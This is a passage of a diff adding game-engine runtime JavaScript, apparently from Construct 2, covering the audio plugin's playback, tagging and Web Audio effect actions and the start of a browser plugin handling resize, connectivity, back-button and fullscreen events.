+ instanceProto.releaseAllMusicBuffers = function ()
+ {
+ var i, len, j, b;
+ for (i = 0, j = 0, len = audioBuffers.length; i < len; ++i)
+ {
+ b = audioBuffers[i];
+ audioBuffers[j] = b;
+ if (b.is_music)
+ b.release();
+ else
+ ++j; // keep
+ }
+ audioBuffers.length = j;
+ };
+ instanceProto.getAudioBuffer = function (src_, is_music, dont_create)
+ {
+ var i, len, a, ret = null, j, k, lenj, ai;
+ for (i = 0, len = audioBuffers.length; i < len; i++)
+ {
+ a = audioBuffers[i];
+ if (a.src === src_)
+ {
+ ret = a;
+ break;
+ }
+ }
+ if (!ret && !dont_create)
+ {
+ if (playMusicAsSoundWorkaround && is_music)
+ this.releaseAllMusicBuffers();
+ ret = new C2AudioBuffer(src_, is_music);
+ audioBuffers.push(ret);
+ }
+ return ret;
+ };
+ instanceProto.getAudioInstance = function (src_, tag, is_music, looping, vol)
+ {
+ var i, len, a;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ {
+ a = audioInstances[i];
+ if (a.src === src_ && (a.canBeRecycled() || is_music))
+ {
+ a.tag = tag;
+ return a;
+ }
+ }
+ var b = this.getAudioBuffer(src_, is_music);
+ if (!b.bufferObject)
+ {
+ if (tag !== "")
+ {
+ b.playTagWhenReady = tag;
+ b.loopWhenReady = looping;
+ b.volumeWhenReady = vol;
+ }
+ return null;
+ }
+ a = new C2AudioInstance(b, tag);
+ audioInstances.push(a);
+ return a;
+ };
+ var taggedAudio = [];
+ function SortByIsPlaying(a, b)
+ {
+ var an = a.isPlaying() ? 1 : 0;
+ var bn = b.isPlaying() ? 1 : 0;
+ if (an === bn)
+ return 0;
+ else if (an < bn)
+ return 1;
+ else
+ return -1;
+ };
+ function getAudioByTag(tag, sort_by_playing)
+ {
+ cr.clearArray(taggedAudio);
+ if (!tag.length)
+ {
+ if (!lastAudio || lastAudio.hasEnded())
+ return;
+ else
+ {
+ cr.clearArray(taggedAudio);
+ taggedAudio[0] = lastAudio;
+ return;
+ }
+ }
+ var i, len, a;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ {
+ a = audioInstances[i];
+ if (cr.equals_nocase(tag, a.tag))
+ taggedAudio.push(a);
+ }
+ if (sort_by_playing)
+ taggedAudio.sort(SortByIsPlaying);
+ };
+ function reconnectEffects(tag)
+ {
+ var i, len, arr, n, toNode = context["destination"];
+ if (effects.hasOwnProperty(tag))
+ {
+ arr = effects[tag];
+ if (arr.length)
+ {
+ toNode = arr[0].getInputNode();
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ n = arr[i];
+ if (i + 1 === len)
+ n.connectTo(context["destination"]);
+ else
+ n.connectTo(arr[i + 1].getInputNode());
+ }
+ }
+ }
+ getAudioByTag(tag);
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ taggedAudio[i].reconnect(toNode);
+ if (micSource && micTag === tag)
+ {
+ micSource["disconnect"]();
+ micSource["connect"](toNode);
+ }
+ };
+ function addEffectForTag(tag, fx)
+ {
+ if (!effects.hasOwnProperty(tag))
+ effects[tag] = [fx];
+ else
+ effects[tag].push(fx);
+ reconnectEffects(tag);
+ };
+ function Cnds() {};
+ Cnds.prototype.OnEnded = function (t)
+ {
+ return cr.equals_nocase(audTag, t);
+ };
+ Cnds.prototype.PreloadsComplete = function ()
+ {
+ var i, len;
+ for (i = 0, len = audioBuffers.length; i < len; i++)
+ {
+ if (!audioBuffers[i].isLoadedAndDecoded() && !audioBuffers[i].hasFailedToLoad())
+ return false;
+ }
+ return true;
+ };
+ Cnds.prototype.AdvancedAudioSupported = function ()
+ {
+ return api === API_WEBAUDIO;
+ };
+ Cnds.prototype.IsSilent = function ()
+ {
+ return silent;
+ };
+ Cnds.prototype.IsAnyPlaying = function ()
+ {
+ var i, len;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ {
+ if (audioInstances[i].isPlaying())
+ return true;
+ }
+ return false;
+ };
+ Cnds.prototype.IsTagPlaying = function (tag)
+ {
+ getAudioByTag(tag);
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ {
+ if (taggedAudio[i].isPlaying())
+ return true;
+ }
+ return false;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.Play = function (file, looping, vol, tag)
+ {
+ if (silent)
+ return;
+ var v = dbToLinear(vol);
+ var is_music = file[1];
+ var src = this.runtime.files_subfolder + file[0] + (useOgg ? ".ogg" : ".m4a");
+ lastAudio = this.getAudioInstance(src, tag, is_music, looping!==0, v);
+ if (!lastAudio)
+ return;
+ lastAudio.setPannerEnabled(false);
+ lastAudio.play(looping!==0, v, 0, this.nextPlayTime);
+ this.nextPlayTime = 0;
+ };
+ Acts.prototype.PlayAtPosition = function (file, looping, vol, x_, y_, angle_, innerangle_, outerangle_, outergain_, tag)
+ {
+ if (silent)
+ return;
+ var v = dbToLinear(vol);
+ var is_music = file[1];
+ var src = this.runtime.files_subfolder + file[0] + (useOgg ? ".ogg" : ".m4a");
+ lastAudio = this.getAudioInstance(src, tag, is_music, looping!==0, v);
+ if (!lastAudio)
+ {
+ var b = this.getAudioBuffer(src, is_music);
+ b.panWhenReady.push({ x: x_, y: y_, a: angle_, ia: innerangle_, oa: outerangle_, og: dbToLinear(outergain_), thistag: tag });
+ return;
+ }
+ lastAudio.setPannerEnabled(true);
+ lastAudio.setPan(x_, y_, angle_, innerangle_, outerangle_, dbToLinear(outergain_));
+ lastAudio.play(looping!==0, v, 0, this.nextPlayTime);
+ this.nextPlayTime = 0;
+ };
+ Acts.prototype.PlayAtObject = function (file, looping, vol, obj, innerangle, outerangle, outergain, tag)
+ {
+ if (silent || !obj)
+ return;
+ var inst = obj.getFirstPicked();
+ if (!inst)
+ return;
+ var v = dbToLinear(vol);
+ var is_music = file[1];
+ var src = this.runtime.files_subfolder + file[0] + (useOgg ? ".ogg" : ".m4a");
+ lastAudio = this.getAudioInstance(src, tag, is_music, looping!==0, v);
+ if (!lastAudio)
+ {
+ var b = this.getAudioBuffer(src, is_music);
+ b.panWhenReady.push({ obj: inst, ia: innerangle, oa: outerangle, og: dbToLinear(outergain), thistag: tag });
+ return;
+ }
+ lastAudio.setPannerEnabled(true);
+ var px = cr.rotatePtAround(inst.x, inst.y, -inst.layer.getAngle(), listenerX, listenerY, true);
+ var py = cr.rotatePtAround(inst.x, inst.y, -inst.layer.getAngle(), listenerX, listenerY, false);
+ lastAudio.setPan(px, py, cr.to_degrees(inst.angle - inst.layer.getAngle()), innerangle, outerangle, dbToLinear(outergain));
+ lastAudio.setObject(inst);
+ lastAudio.play(looping!==0, v, 0, this.nextPlayTime);
+ this.nextPlayTime = 0;
+ };
+ Acts.prototype.PlayByName = function (folder, filename, looping, vol, tag)
+ {
+ if (silent)
+ return;
+ var v = dbToLinear(vol);
+ var is_music = (folder === 1);
+ var src = this.runtime.files_subfolder + filename.toLowerCase() + (useOgg ? ".ogg" : ".m4a");
+ lastAudio = this.getAudioInstance(src, tag, is_music, looping!==0, v);
+ if (!lastAudio)
+ return;
+ lastAudio.setPannerEnabled(false);
+ lastAudio.play(looping!==0, v, 0, this.nextPlayTime);
+ this.nextPlayTime = 0;
+ };
+ Acts.prototype.PlayAtPositionByName = function (folder, filename, looping, vol, x_, y_, angle_, innerangle_, outerangle_, outergain_, tag)
+ {
+ if (silent)
+ return;
+ var v = dbToLinear(vol);
+ var is_music = (folder === 1);
+ var src = this.runtime.files_subfolder + filename.toLowerCase() + (useOgg ? ".ogg" : ".m4a");
+ lastAudio = this.getAudioInstance(src, tag, is_music, looping!==0, v);
+ if (!lastAudio)
+ {
+ var b = this.getAudioBuffer(src, is_music);
+ b.panWhenReady.push({ x: x_, y: y_, a: angle_, ia: innerangle_, oa: outerangle_, og: dbToLinear(outergain_), thistag: tag });
+ return;
+ }
+ lastAudio.setPannerEnabled(true);
+ lastAudio.setPan(x_, y_, angle_, innerangle_, outerangle_, dbToLinear(outergain_));
+ lastAudio.play(looping!==0, v, 0, this.nextPlayTime);
+ this.nextPlayTime = 0;
+ };
+ Acts.prototype.PlayAtObjectByName = function (folder, filename, looping, vol, obj, innerangle, outerangle, outergain, tag)
+ {
+ if (silent || !obj)
+ return;
+ var inst = obj.getFirstPicked();
+ if (!inst)
+ return;
+ var v = dbToLinear(vol);
+ var is_music = (folder === 1);
+ var src = this.runtime.files_subfolder + filename.toLowerCase() + (useOgg ? ".ogg" : ".m4a");
+ lastAudio = this.getAudioInstance(src, tag, is_music, looping!==0, v);
+ if (!lastAudio)
+ {
+ var b = this.getAudioBuffer(src, is_music);
+ b.panWhenReady.push({ obj: inst, ia: innerangle, oa: outerangle, og: dbToLinear(outergain), thistag: tag });
+ return;
+ }
+ lastAudio.setPannerEnabled(true);
+ var px = cr.rotatePtAround(inst.x, inst.y, -inst.layer.getAngle(), listenerX, listenerY, true);
+ var py = cr.rotatePtAround(inst.x, inst.y, -inst.layer.getAngle(), listenerX, listenerY, false);
+ lastAudio.setPan(px, py, cr.to_degrees(inst.angle - inst.layer.getAngle()), innerangle, outerangle, dbToLinear(outergain));
+ lastAudio.setObject(inst);
+ lastAudio.play(looping!==0, v, 0, this.nextPlayTime);
+ this.nextPlayTime = 0;
+ };
+ Acts.prototype.SetLooping = function (tag, looping)
+ {
+ getAudioByTag(tag);
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ taggedAudio[i].setLooping(looping === 0);
+ };
+ Acts.prototype.SetMuted = function (tag, muted)
+ {
+ getAudioByTag(tag);
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ taggedAudio[i].setMuted(muted === 0);
+ };
+ Acts.prototype.SetVolume = function (tag, vol)
+ {
+ getAudioByTag(tag);
+ var v = dbToLinear(vol);
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ taggedAudio[i].setVolume(v);
+ };
+ Acts.prototype.Preload = function (file)
+ {
+ if (silent)
+ return;
+ var is_music = file[1];
+ var src = this.runtime.files_subfolder + file[0] + (useOgg ? ".ogg" : ".m4a");
+ if (api === API_APPMOBI)
+ {
+ if (this.runtime.isDirectCanvas)
+ AppMobi["context"]["loadSound"](src);
+ else
+ AppMobi["player"]["loadSound"](src);
+ return;
+ }
+ else if (api === API_CORDOVA)
+ {
+ return;
+ }
+ this.getAudioInstance(src, "", is_music, false);
+ };
+ Acts.prototype.PreloadByName = function (folder, filename)
+ {
+ if (silent)
+ return;
+ var is_music = (folder === 1);
+ var src = this.runtime.files_subfolder + filename.toLowerCase() + (useOgg ? ".ogg" : ".m4a");
+ if (api === API_APPMOBI)
+ {
+ if (this.runtime.isDirectCanvas)
+ AppMobi["context"]["loadSound"](src);
+ else
+ AppMobi["player"]["loadSound"](src);
+ return;
+ }
+ else if (api === API_CORDOVA)
+ {
+ return;
+ }
+ this.getAudioInstance(src, "", is_music, false);
+ };
+ Acts.prototype.SetPlaybackRate = function (tag, rate)
+ {
+ getAudioByTag(tag);
+ if (rate < 0.0)
+ rate = 0;
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ taggedAudio[i].setPlaybackRate(rate);
+ };
+ Acts.prototype.Stop = function (tag)
+ {
+ getAudioByTag(tag);
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ taggedAudio[i].stop();
+ };
+ Acts.prototype.StopAll = function ()
+ {
+ var i, len;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ audioInstances[i].stop();
+ };
+ Acts.prototype.SetPaused = function (tag, state)
+ {
+ getAudioByTag(tag);
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ {
+ if (state === 0)
+ taggedAudio[i].pause();
+ else
+ taggedAudio[i].resume();
+ }
+ };
+ Acts.prototype.Seek = function (tag, pos)
+ {
+ getAudioByTag(tag);
+ var i, len;
+ for (i = 0, len = taggedAudio.length; i < len; i++)
+ {
+ taggedAudio[i].seek(pos);
+ }
+ };
+ Acts.prototype.SetSilent = function (s)
+ {
+ var i, len;
+ if (s === 2) // toggling
+ s = (silent ? 1 : 0); // choose opposite state
+ if (s === 0 && !silent) // setting silent
+ {
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ audioInstances[i].setSilent(true);
+ silent = true;
+ }
+ else if (s === 1 && silent) // setting not silent
+ {
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ audioInstances[i].setSilent(false);
+ silent = false;
+ }
+ };
+ Acts.prototype.SetMasterVolume = function (vol)
+ {
+ masterVolume = dbToLinear(vol);
+ var i, len;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ audioInstances[i].updateVolume();
+ };
+ Acts.prototype.AddFilterEffect = function (tag, type, freq, detune, q, gain, mix)
+ {
+ if (api !== API_WEBAUDIO || type < 0 || type >= filterTypes.length || !context["createBiquadFilter"])
+ return;
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ addEffectForTag(tag, new FilterEffect(type, freq, detune, q, gain, mix));
+ };
+ Acts.prototype.AddDelayEffect = function (tag, delay, gain, mix)
+ {
+ if (api !== API_WEBAUDIO)
+ return;
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ addEffectForTag(tag, new DelayEffect(delay, dbToLinear(gain), mix));
+ };
+ Acts.prototype.AddFlangerEffect = function (tag, delay, modulation, freq, feedback, mix)
+ {
+ if (api !== API_WEBAUDIO || !context["createOscillator"])
+ return;
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ addEffectForTag(tag, new FlangerEffect(delay / 1000, modulation / 1000, freq, feedback / 100, mix));
+ };
+ Acts.prototype.AddPhaserEffect = function (tag, freq, detune, q, mod, modfreq, mix)
+ {
+ if (api !== API_WEBAUDIO || !context["createOscillator"])
+ return;
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ addEffectForTag(tag, new PhaserEffect(freq, detune, q, mod, modfreq, mix));
+ };
+ Acts.prototype.AddConvolutionEffect = function (tag, file, norm, mix)
+ {
+ if (api !== API_WEBAUDIO || !context["createConvolver"])
+ return;
+ var doNormalize = (norm === 0);
+ var src = this.runtime.files_subfolder + file[0] + (useOgg ? ".ogg" : ".m4a");
+ var b = this.getAudioBuffer(src, false);
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ var fx;
+ if (b.bufferObject)
+ {
+ fx = new ConvolveEffect(b.bufferObject, doNormalize, mix, src);
+ }
+ else
+ {
+ fx = new ConvolveEffect(null, doNormalize, mix, src);
+ b.normalizeWhenReady = doNormalize;
+ b.convolveWhenReady = fx;
+ }
+ addEffectForTag(tag, fx);
+ };
+ Acts.prototype.AddGainEffect = function (tag, g)
+ {
+ if (api !== API_WEBAUDIO)
+ return;
+ tag = tag.toLowerCase();
+ addEffectForTag(tag, new GainEffect(dbToLinear(g)));
+ };
+ Acts.prototype.AddMuteEffect = function (tag)
+ {
+ if (api !== API_WEBAUDIO)
+ return;
+ tag = tag.toLowerCase();
+ addEffectForTag(tag, new GainEffect(0)); // re-use gain effect with 0 gain
+ };
+ Acts.prototype.AddTremoloEffect = function (tag, freq, mix)
+ {
+ if (api !== API_WEBAUDIO || !context["createOscillator"])
+ return;
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ addEffectForTag(tag, new TremoloEffect(freq, mix));
+ };
+ Acts.prototype.AddRingModEffect = function (tag, freq, mix)
+ {
+ if (api !== API_WEBAUDIO || !context["createOscillator"])
+ return;
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ addEffectForTag(tag, new RingModulatorEffect(freq, mix));
+ };
+ Acts.prototype.AddDistortionEffect = function (tag, threshold, headroom, drive, makeupgain, mix)
+ {
+ if (api !== API_WEBAUDIO || !context["createWaveShaper"])
+ return;
+ tag = tag.toLowerCase();
+ mix = mix / 100;
+ if (mix < 0) mix = 0;
+ if (mix > 1) mix = 1;
+ addEffectForTag(tag, new DistortionEffect(threshold, headroom, drive, makeupgain, mix));
+ };
+ Acts.prototype.AddCompressorEffect = function (tag, threshold, knee, ratio, attack, release)
+ {
+ if (api !== API_WEBAUDIO || !context["createDynamicsCompressor"])
+ return;
+ tag = tag.toLowerCase();
+ addEffectForTag(tag, new CompressorEffect(threshold, knee, ratio, attack / 1000, release / 1000));
+ };
+ Acts.prototype.AddAnalyserEffect = function (tag, fftSize, smoothing)
+ {
+ if (api !== API_WEBAUDIO)
+ return;
+ tag = tag.toLowerCase();
+ addEffectForTag(tag, new AnalyserEffect(fftSize, smoothing));
+ };
+ Acts.prototype.RemoveEffects = function (tag)
+ {
+ if (api !== API_WEBAUDIO)
+ return;
+ tag = tag.toLowerCase();
+ var i, len, arr;
+ if (effects.hasOwnProperty(tag))
+ {
+ arr = effects[tag];
+ if (arr.length)
+ {
+ for (i = 0, len = arr.length; i < len; i++)
+ arr[i].remove();
+ cr.clearArray(arr);
+ reconnectEffects(tag);
+ }
+ }
+ };
+ Acts.prototype.SetEffectParameter = function (tag, index, param, value, ramp, time)
+ {
+ if (api !== API_WEBAUDIO)
+ return;
+ tag = tag.toLowerCase();
+ index = Math.floor(index);
+ var arr;
+ if (!effects.hasOwnProperty(tag))
+ return;
+ arr = effects[tag];
+ if (index < 0 || index >= arr.length)
+ return;
+ arr[index].setParam(param, value, ramp, time);
+ };
+ Acts.prototype.SetListenerObject = function (obj_)
+ {
+ if (!obj_ || api !== API_WEBAUDIO)
+ return;
+ var inst = obj_.getFirstPicked();
+ if (!inst)
+ return;
+ this.listenerTracker.setObject(inst);
+ listenerX = inst.x;
+ listenerY = inst.y;
+ };
+ Acts.prototype.SetListenerZ = function (z)
+ {
+ this.listenerZ = z;
+ };
+ Acts.prototype.ScheduleNextPlay = function (t)
+ {
+ if (!context)
+ return; // needs Web Audio API
+ this.nextPlayTime = t;
+ };
+ Acts.prototype.UnloadAudio = function (file)
+ {
+ var is_music = file[1];
+ var src = this.runtime.files_subfolder + file[0] + (useOgg ? ".ogg" : ".m4a");
+ var b = this.getAudioBuffer(src, is_music, true /* don't create if missing */);
+ if (!b)
+ return; // not loaded
+ b.release();
+ cr.arrayFindRemove(audioBuffers, b);
+ };
+ Acts.prototype.UnloadAudioByName = function (folder, filename)
+ {
+ var is_music = (folder === 1);
+ var src = this.runtime.files_subfolder + filename.toLowerCase() + (useOgg ? ".ogg" : ".m4a");
+ var b = this.getAudioBuffer(src, is_music, true /* don't create if missing */);
+ if (!b)
+ return; // not loaded
+ b.release();
+ cr.arrayFindRemove(audioBuffers, b);
+ };
+ Acts.prototype.UnloadAll = function ()
+ {
+ var i, len;
+ for (i = 0, len = audioBuffers.length; i < len; ++i)
+ {
+ audioBuffers[i].release();
+ };
+ cr.clearArray(audioBuffers);
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.Duration = function (ret, tag)
+ {
+ getAudioByTag(tag, true);
+ if (taggedAudio.length)
+ ret.set_float(taggedAudio[0].getDuration());
+ else
+ ret.set_float(0);
+ };
+ Exps.prototype.PlaybackTime = function (ret, tag)
+ {
+ getAudioByTag(tag, true);
+ if (taggedAudio.length)
+ ret.set_float(taggedAudio[0].getPlaybackTime(true));
+ else
+ ret.set_float(0);
+ };
+ Exps.prototype.Volume = function (ret, tag)
+ {
+ getAudioByTag(tag, true);
+ if (taggedAudio.length)
+ {
+ var v = taggedAudio[0].getVolume();
+ ret.set_float(linearToDb(v));
+ }
+ else
+ ret.set_float(0);
+ };
+ Exps.prototype.MasterVolume = function (ret)
+ {
+ ret.set_float(linearToDb(masterVolume));
+ };
+ Exps.prototype.EffectCount = function (ret, tag)
+ {
+ tag = tag.toLowerCase();
+ var arr = null;
+ if (effects.hasOwnProperty(tag))
+ arr = effects[tag];
+ ret.set_int(arr ? arr.length : 0);
+ };
+ function getAnalyser(tag, index)
+ {
+ var arr = null;
+ if (effects.hasOwnProperty(tag))
+ arr = effects[tag];
+ if (arr && index >= 0 && index < arr.length && arr[index].freqBins)
+ return arr[index];
+ else
+ return null;
+ };
+ Exps.prototype.AnalyserFreqBinCount = function (ret, tag, index)
+ {
+ tag = tag.toLowerCase();
+ index = Math.floor(index);
+ var analyser = getAnalyser(tag, index);
+ ret.set_int(analyser ? analyser.node["frequencyBinCount"] : 0);
+ };
+ Exps.prototype.AnalyserFreqBinAt = function (ret, tag, index, bin)
+ {
+ tag = tag.toLowerCase();
+ index = Math.floor(index);
+ bin = Math.floor(bin);
+ var analyser = getAnalyser(tag, index);
+ if (!analyser)
+ ret.set_float(0);
+ else if (bin < 0 || bin >= analyser.node["frequencyBinCount"])
+ ret.set_float(0);
+ else
+ ret.set_float(analyser.freqBins[bin]);
+ };
+ Exps.prototype.AnalyserPeakLevel = function (ret, tag, index)
+ {
+ tag = tag.toLowerCase();
+ index = Math.floor(index);
+ var analyser = getAnalyser(tag, index);
+ if (analyser)
+ ret.set_float(analyser.peak);
+ else
+ ret.set_float(0);
+ };
+ Exps.prototype.AnalyserRMSLevel = function (ret, tag, index)
+ {
+ tag = tag.toLowerCase();
+ index = Math.floor(index);
+ var analyser = getAnalyser(tag, index);
+ if (analyser)
+ ret.set_float(analyser.rms);
+ else
+ ret.set_float(0);
+ };
+ Exps.prototype.SampleRate = function (ret)
+ {
+ ret.set_int(context ? context.sampleRate : 0);
+ };
+ Exps.prototype.CurrentTime = function (ret)
+ {
+ ret.set_float(context ? context.currentTime : cr.performance_now());
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.Browser = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Browser.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ var offlineScriptReady = false;
+ var browserPluginReady = false;
+ document.addEventListener("DOMContentLoaded", function ()
+ {
+ if (window["C2_RegisterSW"] && navigator["serviceWorker"])
+ {
+ var offlineClientScript = document.createElement("script");
+ offlineClientScript.onload = function ()
+ {
+ offlineScriptReady = true;
+ checkReady()
+ };
+ offlineClientScript.src = "offlineClient.js";
+ document.head.appendChild(offlineClientScript);
+ }
+ });
+ var browserInstance = null;
+ typeProto.onAppBegin = function ()
+ {
+ browserPluginReady = true;
+ checkReady();
+ };
+ function checkReady()
+ {
+ if (offlineScriptReady && browserPluginReady && window["OfflineClientInfo"])
+ {
+ window["OfflineClientInfo"]["SetMessageCallback"](function (e)
+ {
+ browserInstance.onSWMessage(e);
+ });
+ }
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ instanceProto.onCreate = function()
+ {
+ var self = this;
+ window.addEventListener("resize", function () {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnResize, self);
+ });
+ browserInstance = this;
+ if (typeof navigator.onLine !== "undefined")
+ {
+ window.addEventListener("online", function() {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnOnline, self);
+ });
+ window.addEventListener("offline", function() {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnOffline, self);
+ });
+ }
+ if (!this.runtime.isDirectCanvas)
+ {
+ document.addEventListener("appMobi.device.update.available", function() {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnUpdateReady, self);
+ });
+ document.addEventListener("backbutton", function() {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnBackButton, self);
+ });
+ document.addEventListener("menubutton", function() {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnMenuButton, self);
+ });
+ document.addEventListener("searchbutton", function() {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnSearchButton, self);
+ });
+ document.addEventListener("tizenhwkey", function (e) {
+ var ret;
+ switch (e["keyName"]) {
+ case "back":
+ ret = self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnBackButton, self);
+ if (!ret)
+ {
+ if (window["tizen"])
+ window["tizen"]["application"]["getCurrentApplication"]()["exit"]();
+ }
+ break;
+ case "menu":
+ ret = self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnMenuButton, self);
+ if (!ret)
+ e.preventDefault();
+ break;
+ }
+ });
+ }
+ if (this.runtime.isWindows10 && typeof Windows !== "undefined")
+ {
+ Windows["UI"]["Core"]["SystemNavigationManager"]["getForCurrentView"]().addEventListener("backrequested", function (e)
+ {
+ var ret = self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnBackButton, self);
+ if (ret)
+ e["handled"] = true;
+ });
+ }
+ else if (this.runtime.isWinJS && WinJS["Application"])
+ {
+ WinJS["Application"]["onbackclick"] = function (e)
+ {
+ return !!self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnBackButton, self);
+ };
+ }
+ this.runtime.addSuspendCallback(function(s) {
+ if (s)
+ {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnPageHidden, self);
+ }
+ else
+ {
+ self.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnPageVisible, self);
+ }
+ });
+ this.is_arcade = (typeof window["is_scirra_arcade"] !== "undefined");
+ };
+ instanceProto.onSWMessage = function (e)
+ {
+ var messageType = e["data"]["type"];
+ if (messageType === "downloading-update")
+ this.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnUpdateFound, this);
+ else if (messageType === "update-ready" || messageType === "update-pending")
+ this.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnUpdateReady, this);
+ else if (messageType === "offline-ready")
+ this.runtime.trigger(cr.plugins_.Browser.prototype.cnds.OnOfflineReady, this);
+ };
+ var batteryManager = null;
+ var loadedBatteryManager = false;
+ function maybeLoadBatteryManager()
+ {
+ if (loadedBatteryManager)
+ return;
+ if (!navigator["getBattery"])
+ return;
+ var promise = navigator["getBattery"]();
+ loadedBatteryManager = true;
+ if (promise)
+ {
+ promise.then(function (manager) {
+ batteryManager = manager;
+ });
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.CookiesEnabled = function()
+ {
+ return navigator ? navigator.cookieEnabled : false;
+ };
+ Cnds.prototype.IsOnline = function()
+ {
+ return navigator ? navigator.onLine : false;
+ };
+ Cnds.prototype.HasJava = function()
+ {
+ return navigator ? navigator.javaEnabled() : false;
+ };
+ Cnds.prototype.OnOnline = function()
+ {
+ return true;
+ };
+ Cnds.prototype.OnOffline = function()
+ {
+ return true;
+ };
+ Cnds.prototype.IsDownloadingUpdate = function ()
+ {
+ return false; // deprecated
+ };
+ Cnds.prototype.OnUpdateReady = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.PageVisible = function ()
+ {
+ return !this.runtime.isSuspended;
+ };
+ Cnds.prototype.OnPageVisible = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnPageHidden = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnResize = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.IsFullscreen = function ()
+ {
+ return !!(document["mozFullScreen"] || document["webkitIsFullScreen"] || document["fullScreen"] || this.runtime.isNodeFullscreen);
+ };
+ Cnds.prototype.OnBackButton = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnMenuButton = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnSearchButton = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.IsMetered = function ()
+ {
+ var connection = navigator["connection"] || navigator["mozConnection"] || navigator["webkitConnection"];
+ if (!connection)
+ return false;
+ return !!connection["metered"];
+ };
+ Cnds.prototype.IsCharging = function ()
+ {
+ var battery = navigator["battery"] || navigator["mozBattery"] || navigator["webkitBattery"];
+ if (battery)
+ {
+ return !!battery["charging"]
+ }
+ else
+ {
+ maybeLoadBatteryManager();
+ if (batteryManager)
+ {
+ return !!batteryManager["charging"];
+ }
+ else
+ {
+ return true; // if unknown, default to charging (powered)
+ }
+ }
+ };
+ Cnds.prototype.IsPortraitLandscape = function (p)
+ {
+ var current = (window.innerWidth <= window.innerHeight ? 0 : 1);
+ return current === p;
+ };
+ Cnds.prototype.SupportsFullscreen = function ()
+ {
+ if (this.runtime.isNodeWebkit)
+ return true;
+ var elem = this.runtime.canvasdiv || this.runtime.canvas;
+ return !!(elem["requestFullscreen"] || elem["mozRequestFullScreen"] || elem["msRequestFullscreen"] || elem["webkitRequestFullScreen"]);
+ };
+ Cnds.prototype.OnUpdateFound = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnUpdateReady = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnOfflineReady = function ()
+ {
+ return true;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.Alert = function (msg)
+ {
+ if (!this.runtime.isDomFree)
+ alert(msg.toString());
+ };
+ Acts.prototype.Close = function ()
+ {
+ if (this.runtime.isCocoonJs)
+ CocoonJS["App"]["forceToFinish"]();
+ else if (window["tizen"])
+ window["tizen"]["application"]["getCurrentApplication"]()["exit"]();
+ else if (navigator["app"] && navigator["app"]["exitApp"])
+ navigator["app"]["exitApp"]();
+ else if (navigator["device"] && navigator["device"]["exitApp"])
+ navigator["device"]["exitApp"]();
+ else if (!this.is_arcade && !this.runtime.isDomFree)
+ window.close();
+ };
+ Acts.prototype.Focus = function ()
+ {
+ if (this.runtime.isNodeWebkit)
+ {
